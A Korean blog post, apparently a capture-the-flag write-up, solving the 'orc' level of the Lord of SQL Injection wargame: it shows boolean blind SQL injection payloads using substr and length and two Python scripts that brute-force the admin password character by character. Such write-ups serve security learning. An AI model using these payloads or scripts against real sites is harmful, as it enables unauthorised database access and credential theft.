본문 바로가기
보안/웹

los orc (lord of sqlinjection 4번)

by laoching 2022. 3. 22.
728x90
반응형

blind sql injection 문제입니다.

id는 고정이고 pw에서 인젝션을 진행하는데 코드 중간에 보면 
$_GET[pw] = addslashes($_GET[pw]); 가 보입니다.
 
얘가 있으면 ', ", \ 친구들 (싱글쿼터, 더블쿼터, 백슬래시) 앞에 슬래시가 추가되는 기능입니다.
 
또 밑에 보면 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 를 볼 수 있습니다.
$result['pw']는 $result 쿼리의 반환값인데, 이것과 addslashes된 pw가 같으면 solve라고 하네용..
 
addslashes의 기능을 무력화할 수 있는 방법이 있는지는 모르겠지만, 저는 할 수 없었기 때문에 blind sql injection을 진행했습니다.
 
아래 그림처럼 true이면 Hello admin이라는 문구가 나오고

아래 그림처럼 false이면 아무것도 나오지 않습니다.

 
쿼리는 아래와 같습니다.
pw=' or id='admin' and substr(pw,1,1)=0 -- 
 
그리고 pw의 글자수를 알아내는 방법은 length() 함수를 이용합니다. -> 8자리임을 알 수 있음
pw=' or id='admin' and length(pw)=8 -- 
 
그래서 파이썬으로 코드를 썼습니다.

import requests as req

cookies = {'PHPSESSID':'여러분의 phpsessid'}
pwd = ""
for i in range(1, 9):
    for j in range(48, 128):
        char = chr(j)
        url = f"https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw='or id='admin' and substr(pw,{i},1)='{char}' -- "
        res = req.get(url=url, cookies=cookies)
        if 'Hello admin' in res.text:
            pwd += char

print("============================")
print(f"pwd = {pwd}")
print("============================")

코드 실행 결과는 아래와 같습니다.
095A9852 이거나
095a9852 겠군요~

 

095A9852 입력

반갑다고 하네요~

095a0852 입력

클리어라고 나옵니다...

 
첫 번째 스크립트는 입력가능한 모든 문자를 ascii로 넘겨주었는데, 이 문제에서는 숫자, 영소문자만 다루는 것 같아서 범위를 더 좁힐 수 있습니다. 
j의 범위가 줄어들어서 실행 속도도 훨씬 빠르답니다..

import requests as req
pwd=""
cookies = {'PHPSESSID':'여러분의 phpsessid'}
string = "1234567890abcdefghijklmnopqrstuvwxyz"
for i in range(1,9):
    for j in string:
        url = f"https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw='or id='admin' and substr(pw,{i},1)='{j}' -- "
        res = req.get(url=url, cookies=cookies)
        if 'Hello admin' in res.text:
            pwd += j

print(pwd)

실행결과

 

728x90
반응형

'보안 > ' 카테고리의 다른 글

los darknight  (0) 2022.03.24
los golem  (0) 2022.03.24
los orge  (0) 2022.03.24
HTTP Method  (0) 2022.02.01
textarea사용하기  (0) 2015.02.15

댓글